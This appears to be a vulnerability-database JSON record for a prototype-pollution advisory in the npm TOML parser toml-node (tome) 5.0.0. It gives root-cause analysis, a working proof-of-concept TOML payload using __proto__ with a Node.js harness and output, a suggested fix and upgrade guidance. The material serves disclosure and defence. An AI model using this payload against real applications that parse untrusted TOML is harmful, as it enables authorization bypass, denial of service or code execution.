{"id":"CVE-2026-114142","kind":"vulnerability","aliases":["CVE-2026-114142","GHSA-h895-cgqg-jf52"],"related":[],"title":"toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype","description":"### Summary\nCVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.\n\nA four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.\n\n### Details\nThree gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.\n\n**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `\"` inside the segment:\n\n```js\n287:  function quoteDottedString(str) {\n288:    if (str.indexOf(\".\") > -1) {\n289:      return \"\\\"\" + str + \"\\\"\";\n290:    } else {\n291:      return str;\n292:    }\n293:  }\n```\n\nSo the key path `['x.y']` and the key path `['\"x', 'y\"']` both render as the string `\"x.y\"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.\n\n**2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.\n\n**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:\n\n```js\n 93:      target = target[k];\n...\n103:    target[lastKey] = reduced;\n```\n\nA TOML datetime is a `Date`. It satisfies `typeof target[k] === \"object\"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`.\n\nPutting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.\n\n```bash\nmkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0\n```\n\n```toml\n# poc.toml\n\"b.c\" = 1979-05-27T07:32:00Z\n[['\"b']]\n[\"b.c\"]\n__proto__.__proto__.polluted = \"yes\"\n```\n\nLine 1 defines a key whose rendered path is `\"b.c\"` and whose value is a `Date`.\nLine 2 is a table-array header whose rendered path collides with it, clearing its guard.\nLine 3 re-enters that key, so the current table is now the `Date`.\nLine 4 walks `Date` → `Date.prototype` → `Object.prototype`.\n\n```js\n// poc.js\nconst toml = require('toml');\nconst fs = require('fs');\n\nconsole.log('before:', JSON.stringify(({}).polluted));\ntoml.parse(fs.readFileSync('poc.toml', 'utf8'));\nconsole.log('after: ', JSON.stringify(({}).polluted));\nconsole.log('Object.prototype.hasOwnProperty(\"polluted\") =', Object.prototype.hasOwnProperty('polluted'));\nconsole.log('JSON.parse(\"{}\").polluted =', JSON.stringify(JSON.parse('{}').polluted));\n```\n\n```\n$ node poc.js\nbefore: undefined\nafter:  \"yes\"\nObject.prototype.hasOwnProperty(\"polluted\") = true\nJSON.parse(\"{}\").polluted = \"yes\"\n```\n\nThe payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.\n\nA useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.\n\n### Impact\n\nAny application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.\n\nSuggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `\"` inside a segment so that distinct key paths cannot render to the same string.","summary":"The npm package toml-node (tome) parses a crafted TOML document into a prototype pollution, writing a property onto Object.prototype that every object in the process then inherits. An attacker who controls the TOML input can inject properties into shared objects, which commonly leads to auth bypass, denial of service, or RCE where a gadget exists.","severity":"high","cvss":8.8,"epss":0.0031500000040978193,"exploited":false,"exploited_at":null,"products":[{"name":"tome","fixed":["5.0.1"],"affected":"<= 5.0.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-1321","node.js","npm","package","tome","toml"],"not_affected_if":["not-using-tome-or-toml-node","parses-only-trusted-toml","version-5.0.1-or-later"],"how_to_check":"Run npm ls toml or npm ls tome to find the installed version; affected is 5.0.0 and earlier.\nSearch package-lock.json or yarn.lock for the tome/toml package at version 5.0.0 or lower.\nCheck whether any code path passes untrusted TOML (user uploads, third-party manifests, API bodies) into toml.parse().","fix":"Upgrade the package to 5.0.1 or later.\nUntil upgraded, do not parse untrusted TOML with the affected version.","status":"open","published_at":"2026-10-21T21:17:56+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","triaged_at":"2026-10-23T20:06:38+00:00","updated_at":"2026-10-23T21:57:29+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:06:38Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade the package to 5.0.1 or later.\nUntil upgraded, do not parse untrusted TOML with the affected version.","summary":"The npm package toml-node (tome) parses a crafted TOML document into a prototype pollution, writing a property onto Object.prototype that every object in the process then inherits. An attacker who controls the TOML input can inject properties into shared objects, which commonly leads to auth bypass, denial of service, or RCE where a gadget exists.","category":"package","who_cares":["npm","node.js","toml","tome"],"confidence":0.8,"analyst_note":"","how_to_check":"Run npm ls toml or npm ls tome to find the installed version; affected is 5.0.0 and earlier.\nSearch package-lock.json or yarn.lock for the tome/toml package at version 5.0.0 or lower.\nCheck whether any code path passes untrusted TOML (user uploads, third-party manifests, API bodies) into toml.parse().","needs_analyst":false,"not_affected_if":["version-5.0.1-or-later","parses-only-trusted-toml","not-using-tome-or-toml-node"],"severity_if_unknown":"high"},"cost_usd":0.000562,"input_tokens":3580,"output_tokens":408,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-05':417C '-1':219C '-114142':16A,24A '-1321':27B '-2026':15A,23A,92C,253C '-27':418C '-63376':93C,254C '/dev/null':408C '00z':421C '1':187C,429C '103':343C '1979':416C '2':264C,445C,558C '265':321C '273':322C '287':212C '288':216C '289':220C '290':223C '291':225C '292':228C '293':229C '3':302C,462C '32':420C '4':477C '4.1.2':107C,568C '5.0.0':186C,412C '93':339C 'add':114C 'addtablearray':276C 'affect':595C 'ambigu':194C,284C 'anoth':272C 'api':618C 'appli':140C,314C,658C 'applic':584C,636C 'array':268C,363C,450C 'assign':306C,329C,657C 'assignedpath':278C 'attack':63B 'auth':79B 'authent':627C 'author':629C 'b':422C 'b.c':415C,423C,437C 'bash':400C 'bear':581C 'bookkeep':112C 'bypass':80B,630C 'cd':403C 'cgqg':20A 'chain':377C 'charact':127C 'check':137C,312C,661C 'clear':271C,458C,562C,574C 'code':547C,642C 'collid':292C,455C 'common':76B,624C 'compos':179C 'configur':597C 'confirm':572C 'console.log':492C,500C,504C,509C 'const':484C,488C 'contain':136C,202C,311C,327C 'control':65B,552C 'correct':565C 'craft':42B 'current':389C,470C 'cve':14A,22A,91C,252C 'cwe':26B 'date':352C,372C,392C,443C,475C,479C 'date.prototype':480C 'datetim':349C 'deepref':313C 'defin':430C 'delet':297C 'denial':81B,631C 'descend':367C 'descent':304C 'describ':94C 'desynchron':102C,119C,251C 'detail':176C 'document':9A,44B,151C,385C,555C,589C,614C 'dot':131C,263C 'els':224C 'encod':192C 'enter':465C 'entri':301C 'escal':625C 'escap':206C 'everi':55B,165C,645C 'execut':643C 'exist':89B 'file':598C 'final':326C 'fix':105C,655C 'four':148C 'four-lin':147C 'fs':489C,491C 'fs.readfilesync':497C 'function':213C 'gadget':88B,640C 'gap':178C 'ghsa':18A 'ghsa-h895-cgqg-jf52':17A 'guard':275C,460C,561C 'guard-clear':560C 'h895':19A 'harmless':532C 'header':269C,288C,451C,563C 'impact':582C 'includ':170C 'inherit':61B,650C 'init':406C 'inject':70B,652C 'input':68B 'insid':208C 'instal':410C 'instead':128C 'intermedi':318C,663C 'isownedcontain':315C 'issameorsubpath':281C 'jf52':21A 'js':211C,338C,482C 'json.parse':510C,513C,524C 'json.stringify':494C,502C,512C 'k':342C,357C 'key':100C,191C,232C,237C,273C,296C,299C,432C,467C 'key-path':99C 'kind':623C 'last':536C 'lastkey':345C 'later':570C 'lead':77B 'lib/compiler.js':184C,320C 'librari':175C 'line':149C,181C,428C,444C,461C,476C,537C,557C 'live':375C 'load':580C 'load-bear':579C 'make':387C 'manifest':604C 'marker':533C 'matter':145C 'mkdir':401C 'name':255C 'never':205C,548C 'node':3A,38B,515C 'node.js':28B 'npm':29B,34B,405C,409C 'number':182C 'object':56B,74B,166C,171C,358C,545C,646C 'object.prototype':13A,53B,159C,379C,399C,481C 'object.prototype.hasownproperty':505C,507C,521C 'onto':52B,158C 'own':135C,310C 'owned-contain':134C,309C 'ownedcontain':116C 'packag':30B,35B,610C 'pars':6A,40B,152C,586C 'parti':609C 'path':101C,111C,143C,190C,233C,238C,291C,435C,454C 'path-key':189C 'payload':528C 'place':260C 'poc':402C,404C 'poc.js':483C,516C 'poc.toml':414C,498C 'pollut':5A,48B,96C,426C,495C,503C,506C,508C,511C,514C,522C,525C,620C 'post':615C 'process':59B,169C,649C 'produc':172C 'properti':51B,71B,157C,534C,540C,653C 'proto':98C,396C,397C,424C,425C 'prototyp':4A,47B,95C,376C,619C 'put':380C 'quot':126C,196C,258C 'quotedottedstr':195C,214C 'rce':85B 're':464C 're-ent':463C 'reachabl':122C 'reduc':346C 'reject':566C 'remot':641C 'render':242C,290C,434C,453C 'repositori':612C 'requir':486C,490C 'return':221C,226C,324C 'rewrit':109C 'satisfi':354C 'segment':198C,210C,319C 'servic':83B,633C 'set':529C 'shape':336C 'share':73B 'show':538C 'singl':531C 'sourc':593C 'spell':123C 'step':575C 'still':121C 'str':215C,222C,227C 'str.indexof':218C 'string':245C,285C 'suggest':654C 'suitabl':639C 'summari':90C 't07':419C 'tabl':267C,390C,449C,471C 'table-array':266C,448C 'target':340C,341C,344C,356C 'test':337C 'third':608C 'third-parti':607C 'three':177C,382C 'togeth':383C 'tome':25A,31B,39B 'toml':2A,8A,32B,37B,43B,67B,150C,348C,411C,413C,485C,487C,588C 'toml-nod':1A,36B 'toml.parse':154C,496C 'touch':549C 'true':523C 'typeof':355C 'uncheck':328C 'undefin':518C 'unrel':174C,295C 'untrust':592C 'upload':599C 'use':551C 'user':602C 'utf8':499C 'valu':440C 'valueassign':279C 'visibl':163C,542C 'walk':277C,331C,366C,395C,478C 'weakset':117C 'whose':289C,433C,439C,452C 'without':556C 'write':11A,49B,155C 'x':239C 'x.y':234C,246C 'y':240C,407C 'yes':427C,520C,526C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-21T21:17:56+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-h895-cgqg-jf52","url":"https://github.com/advisories/GHSA-h895-cgqg-jf52","severity":"high","published_at":"2026-10-22T16:39:55+00:00","modified_at":"2026-10-22T16:39:57+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","fetched_at":"2026-10-23T19:11:31+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-114142","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114142","severity":null,"published_at":"2026-10-21T21:17:56+00:00","modified_at":"2026-10-22T16:48:25+00:00","first_seen_at":"2026-10-23T21:57:29+00:00","fetched_at":"2026-10-23T22:29:02+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}